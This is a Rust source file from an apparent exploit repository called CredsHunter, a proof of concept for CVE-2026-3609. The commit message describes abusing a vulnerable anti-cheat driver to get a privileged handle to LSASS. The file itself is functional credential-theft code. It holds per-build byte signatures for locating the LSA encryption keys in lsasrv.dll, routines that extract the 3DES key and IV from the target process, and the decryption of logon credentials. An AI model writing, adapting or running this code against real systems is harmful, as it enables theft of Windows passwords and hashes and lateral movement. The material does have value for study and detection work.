Files
BlackSnufkin dd3ba9d9bb Initial CredsHunter PoC for CVE-2026-3609
Rust implementation of the LSASS credential dump primitive against
xhunter1.sys (XIGNCODE3 anti-cheat). Uses command 785 to obtain a
PPL-bypassing PROCESS_ALL_ACCESS handle via ObOpenObjectByPointer
with AccessMode=KernelMode and no OBJ_KERNEL_HANDLE, then walks
LSA crypto material and decrypts the LogonSessionList.

Modules:
- driver: Xhunter / Session wrappers + MemReader trait
- proc:   PID lookup + PEB-walk remote module discovery
- pe:     local PE parsing and pattern scan helpers
- lsa:    LSA key pattern table + BCrypt key extraction + 3DES
- logon:  LogonSessionList walker + MSV1_0 offsets
- wdigest: WDigest credential list walker (best-effort)
- sys:    OS build number

Affected driver bundled:
  xhunter1.sys 10.0.10011.16384
  SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
2026-05-12 01:38:41 -07:00

206 lines
7.6 KiB
Rust

//! LSA credential cryptography.
//!
//! Three responsibilities, in order:
//!
//! 1. Pattern-scan a locally-loaded `lsasrv.dll` to locate the RIP-relative
//! references inside `LsaInitializeProtectedMemory` that point at the
//! AES key, 3DES key, and IV. Returns the *local* VAs — caller rebases
//! these to the remote `lsasrv.dll` mapping.
//! 2. Pull the BCrypt key material out of the target process by walking
//! `BCRYPT_HANDLE_KEY → BCRYPT_KEY81` and extracting the secret bytes.
//! 3. 3DES-decrypt a ciphertext blob with the recovered key + IV via
//! `bcrypt.dll`.
use windows::Win32::Security::Cryptography::{
BCryptCloseAlgorithmProvider, BCryptDecrypt, BCryptDestroyKey,
BCryptGenerateSymmetricKey, BCryptOpenAlgorithmProvider, BCRYPT_3DES_ALGORITHM,
BCRYPT_ALG_HANDLE, BCRYPT_FLAGS, BCRYPT_KEY_HANDLE,
BCRYPT_OPEN_ALGORITHM_PROVIDER_FLAGS,
};
use crate::driver::MemReader;
use crate::pe;
const LSASRV: &str = "lsasrv.dll";
// ─── Per-build pattern table ───────────────────────────────────────────────
struct KeyPattern {
build: u32,
sig: &'static [u8],
aes: i32, // signed displacement from sig match to AES disp32
des: i32, // " 3DES disp32
iv: i32, // " IV disp32
}
const PTRN_WNO8: &[u8] = &[
0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x8b, 0x0d,
];
const PTRN_WIN8: &[u8] = &[
0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8b, 0x0d,
];
const PTRN_WN10: &[u8] = &[
0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8,
0x48, 0x8d, 0x15,
];
#[rustfmt::skip]
const KEY_PATTERNS: &[KeyPattern] = &[
KeyPattern { build: 6000, sig: PTRN_WNO8, aes: 25, des: -69, iv: 63 },
KeyPattern { build: 7600, sig: PTRN_WNO8, aes: 25, des: -61, iv: 59 },
KeyPattern { build: 9200, sig: PTRN_WIN8, aes: 23, des: -70, iv: 62 },
KeyPattern { build: 10240, sig: PTRN_WN10, aes: 16, des: -73, iv: 61 },
KeyPattern { build: 17763, sig: PTRN_WN10, aes: 16, des: -89, iv: 67 },
KeyPattern { build: 22621, sig: PTRN_WN10, aes: 16, des: -89, iv: 71 },
KeyPattern { build: u32::MAX, sig: PTRN_WN10, aes: 16, des: -89, iv: 71 },
];
fn pick_pattern(build: u32) -> &'static KeyPattern {
for window in KEY_PATTERNS.windows(2) {
if build >= window[0].build && build < window[1].build {
return &window[0];
}
}
&KEY_PATTERNS[KEY_PATTERNS.len() - 2]
}
// ─── Public surface ────────────────────────────────────────────────────────
/// VAs of the three globals inside `lsasrv.dll`. Locally-resolved — rebase
/// to the remote mapping before reading through the driver.
pub struct LsaKeyAddresses {
pub aes_va: u64,
pub des3_va: u64,
pub iv_va: u64,
}
/// The actual decrypted key material, after walking the BCrypt key
/// handle structures inside the target process.
pub struct LsaKeys {
pub des3_key: Vec<u8>,
pub iv: Vec<u8>,
pub des3_len: usize,
}
/// Ensure `lsasrv.dll` is mapped into this process so we can pattern-scan
/// it. Idempotent.
pub fn ensure_lsasrv_loaded() -> Result<(), String> {
pe::ensure_loaded(LSASRV)
}
/// Local-side VA of `lsasrv.dll`.
pub fn local_lsasrv_base() -> Result<u64, String> {
pe::local_base(LSASRV)
}
/// Pattern-scan locally-loaded `lsasrv.dll` for the LSA crypto globals.
pub fn locate_key_addresses(build: u32) -> Result<LsaKeyAddresses, String> {
let pat = pick_pattern(build);
let base = local_lsasrv_base()?;
let text = pe::text_section(base)?;
let off = pe::find_pattern(text, pat.sig)
.ok_or_else(|| format!("LSA key pattern not found for build {build}"))?;
let base_ptr = text.as_ptr();
unsafe {
Ok(LsaKeyAddresses {
aes_va: pe::decode_rip_relative(base_ptr.add(off).offset(pat.aes as isize)),
des3_va: pe::decode_rip_relative(base_ptr.add(off).offset(pat.des as isize)),
iv_va: pe::decode_rip_relative(base_ptr.add(off).offset(pat.iv as isize)),
})
}
}
/// Read the BCrypt 3DES key + IV from the live `lsasrv.dll`.
/// `addrs` are local VAs; `lsasrv_local`/`lsasrv_remote` are used to rebase
/// them onto the target process's mapping.
pub fn fetch_keys(
reader: &impl MemReader,
addrs: &LsaKeyAddresses,
lsasrv_local: u64,
lsasrv_remote: u64,
) -> Result<LsaKeys, String> {
let des_remote = lsasrv_remote + (addrs.des3_va - lsasrv_local);
let iv_remote = lsasrv_remote + (addrs.iv_va - lsasrv_local);
let des_handle = reader.read_u64(des_remote);
let (des3_key, des3_len) = retrieve_bcrypt_key(reader, des_handle)
.ok_or("failed to extract 3DES BCrypt key — pattern offsets may be wrong for this build")?;
let iv = reader.read_bytes(iv_remote, 8);
Ok(LsaKeys { des3_key, iv, des3_len })
}
// ─── BCrypt key extraction ─────────────────────────────────────────────────
/// Walk `BCRYPT_HANDLE_KEY → BCRYPT_KEY81` in the target process and copy
/// the raw secret bytes back. Returns `(bytes, length)` or `None` if any
/// tag check fails.
fn retrieve_bcrypt_key(reader: &impl MemReader, handle_va: u64) -> Option<(Vec<u8>, usize)> {
if handle_va == 0 { return None; }
// BCRYPT_HANDLE_KEY: +0x04 = 'UUUR' (0x55555552)
let tag1 = reader.read_u32(handle_va + 4);
if tag1 != 0x5555_5552 { return None; }
// +0x10 → BCRYPT_KEY81*
let key81 = reader.read_u64(handle_va + 0x10);
if key81 == 0 { return None; }
// BCRYPT_KEY81: +0x04 = 'MSSK' (0x4D53534B)
let tag2 = reader.read_u32(key81 + 4);
if tag2 != 0x4D53_534B { return None; }
let key_len = reader.read_u32(key81 + 0x38) as usize;
if key_len == 0 || key_len > 64 { return None; }
let key = reader.read_bytes(key81 + 0x3C, key_len);
Some((key, key_len))
}
// ─── 3DES decrypt via bcrypt.dll ───────────────────────────────────────────
/// CBC-mode 3DES decrypt with PKCS7-style block padding handled by bcrypt.
/// Returns `None` if any BCrypt step fails.
pub fn bcrypt_3des_decrypt(key: &[u8], iv: &[u8], ciphertext: &[u8]) -> Option<Vec<u8>> {
if ciphertext.is_empty() { return None; }
unsafe {
let mut alg = BCRYPT_ALG_HANDLE::default();
let mut sk = BCRYPT_KEY_HANDLE::default();
if BCryptOpenAlgorithmProvider(
&mut alg, BCRYPT_3DES_ALGORITHM, None,
BCRYPT_OPEN_ALGORITHM_PROVIDER_FLAGS(0),
).is_err() {
return None;
}
if BCryptGenerateSymmetricKey(alg, &mut sk, None, key, 0).is_err() {
let _ = BCryptCloseAlgorithmProvider(alg, 0);
return None;
}
let mut iv_copy = iv.to_vec();
iv_copy.resize(16, 0);
let mut out = vec![0u8; ciphertext.len() + 16];
let mut out_len = 0u32;
let result = BCryptDecrypt(
sk, Some(ciphertext), None, Some(&mut iv_copy),
Some(&mut out), &mut out_len, BCRYPT_FLAGS(0),
);
let _ = BCryptDestroyKey(sk);
let _ = BCryptCloseAlgorithmProvider(alg, 0);
if result.is_ok() {
out.truncate(out_len as usize);
Some(out)
} else {
None
}
}
}